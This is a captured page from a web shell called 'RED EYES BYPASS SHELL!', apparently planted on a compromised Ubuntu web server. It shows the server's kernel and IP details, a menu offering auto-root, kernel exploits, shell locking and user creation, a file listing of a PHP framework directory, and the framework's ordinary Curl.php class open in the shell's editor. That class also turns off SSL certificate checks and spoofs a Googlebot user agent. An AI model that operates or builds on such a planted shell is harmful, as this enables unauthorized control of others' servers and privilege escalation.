Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Curl.php
<?php /** * @filesource Kotchasan/Curl.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * Curl Class * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Curl { /** * ตัวแปรสำหรับเก็บ Error ที่มาจาก cURL * 0 ไม่มี error (ค่าเริ่มต้น) * มากกว่า 0 Error No. ของ cURL * * @var int */ protected $error = 0; /** * ข้อความ Error จาก cURL หากมีข้อผิดพลาดในการส่ง * * @var string */ protected $errorMessage = ''; /** * HTTP headers * * @var array */ protected $headers = array(); /** * พารามิเตอร์ CURLOPT * * @var array */ protected $options = array(); /** * Construct * * @throws \Exception ถ้าไม่รองรับ cURL */ public function __construct() { if (!extension_loaded('curl')) { throw new \Exception('cURL library is not loaded'); } // default parameter $this->headers = array( 'Connection' => 'keep-alive', 'Keep-Alive' => '300', 'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Accept-Language' => 'en-us,en;q=0.5' ); $this->options = array( CURLOPT_TIMEOUT => 30, CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => 'Googlebot/2.1 (+http://www.google.com/bot.html)', CURLOPT_SSL_VERIFYHOST => false, CURLOPT_SSL_VERIFYPEER => false ); } /** * DELETE * * @param string $url * @param mixed $params * * @return string */ public function delete($url, $params) { $this->options[CURLOPT_CUSTOMREQUEST] = 'DELETE'; if (!empty($params)) { if (is_array($params)) { $this->options[CURLOPT_POSTFIELDS] = http_build_query($params, '', '&'); } else { $this->options[CURLOPT_POSTFIELDS] = $params; } } return $this->execute($url); } /** * คืนค่า error no จากการ cURL * 0 หมายถึงไม่มี error * * @return int */ public function error() { return $this->error; } /** * คืนค่าข้อความ Error จาก cURL หากมีข้อผิดพลาดในการส่ง * * @return string */ public function errorMessage() { return $this->errorMessage; } /** * GET * * @param string $url * @param mixed $params * * @return string */ public function get($url, $params = array()) { $this->options[CURLOPT_CUSTOMREQUEST] = 'GET'; $this->options[CURLOPT_HTTPGET] = true; if (!empty($params)) { if (is_array($params)) { $url .= (strpos($url, '?') === false ? '?' : '&').http_build_query($params, '', '&'); } else { $this->options[CURLOPT_POSTFIELDS] = $params; } } return $this->execute($url); } /** * HEAD * * @param string $url * @param mixed $params * * @return string */ public function head($url, $params = array()) { $this->options[CURLOPT_CUSTOMREQUEST] = 'HEAD'; $this->options[CURLOPT_NOBODY] = true; if (!empty($params)) { if (is_array($params)) { $this->options[CURLOPT_POSTFIELDS] = http_build_query($params, '', '&'); } else { $this->options[CURLOPT_POSTFIELDS] = $params; } } return $this->execute($url); } /** * Login สำหรับการส่งแบบ HTTP * * @param string $username * @param string $password * @param string $type any (default), digest, basic, digest_ie, negotiate, ntlm, ntlm_wb, anysafe, only * * @return $this */ public function httpauth($username = '', $password = '', $type = 'any') { $this->options[CURLOPT_HTTPAUTH] = constant('CURLAUTH_'.strtoupper($type)); $this->options[CURLOPT_USERPWD] = $username.':'.$password; return $this; } /** * ใช้งาน PROXY * * @param string $url * @param int $port * @param string $username * @param string $password * * @return $this */ public function httpproxy($url = '', $port = 80, $username = null, $password = null) { $this->options[CURLOPT_HTTPPROXYTUNNEL] = true; $this->options[CURLOPT_PROXY] = $url.':'.$port; if ($username !== null && $password !== null) { $this->options[CURLOPT_PROXYUSERPWD] = $username.':'.$password; } return $this; } /** * POST * * @param string $url * @param mixed $params * * @return string */ public function post($url, $params = array()) { $this->options[CURLOPT_CUSTOMREQUEST] = 'POST'; $this->options[CURLOPT_POST] = true; if (!empty($params)) { if (is_array($params)) { $this->options[CURLOPT_POSTFIELDS] = http_build_query($params, '', '&'); } else { $this->options[CURLOPT_POSTFIELDS] = $params; } } return $this->execute($url); } /** * PUT * * @param string $url * @param mixed $params * * @return string */ public function put($url, $params = array()) { $this->options[CURLOPT_CUSTOMREQUEST] = 'PUT'; if (!empty($params)) { if (is_array($params)) { $this->options[CURLOPT_POSTFIELDS] = http_build_query($params, '', '&'); } else { $this->options[CURLOPT_POSTFIELDS] = $params; } } return $this->execute($url); } /** * กำหนด referer * * @param string $referrer * * @return $this */ public function referer($referrer) { $this->options[CURLOPT_REFERER] = $referrer; return $this; } /** * กำหนดค่า cookie file * * @param string $cookiePath * * @return $this */ public function setCookie($cookiePath) { $this->options[CURLOPT_COOKIEFILE] = $cookiePath; $this->options[CURLOPT_COOKIEJAR] = $cookiePath; return $this; } /** * กำหนด Header * * @param array $headers * * @return $this */ public function setHeaders($headers) { foreach ($headers as $key => $value) { $this->headers[$key] = $value; } return $this; } /** * กำหนด Options * * @param array $options * * @return $this */ public function setOptions($options) { foreach ($options as $key => $value) { $this->options[$key] = $value; } return $this; } /** * ประมวลผล cURL * * @param string $url * * @return string */ protected function execute($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if (!empty($this->headers)) { $headers = array(); foreach ($this->headers as $key => $value) { $headers[] = $key.': '.$value; } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } foreach ($this->options as $key => $value) { curl_setopt($ch, $key, $value); } $response = curl_exec($ch); if (curl_error($ch)) { $this->error = curl_errno($ch); $this->errorMessage = curl_error($ch); } curl_close($ch); return $response; } }
Close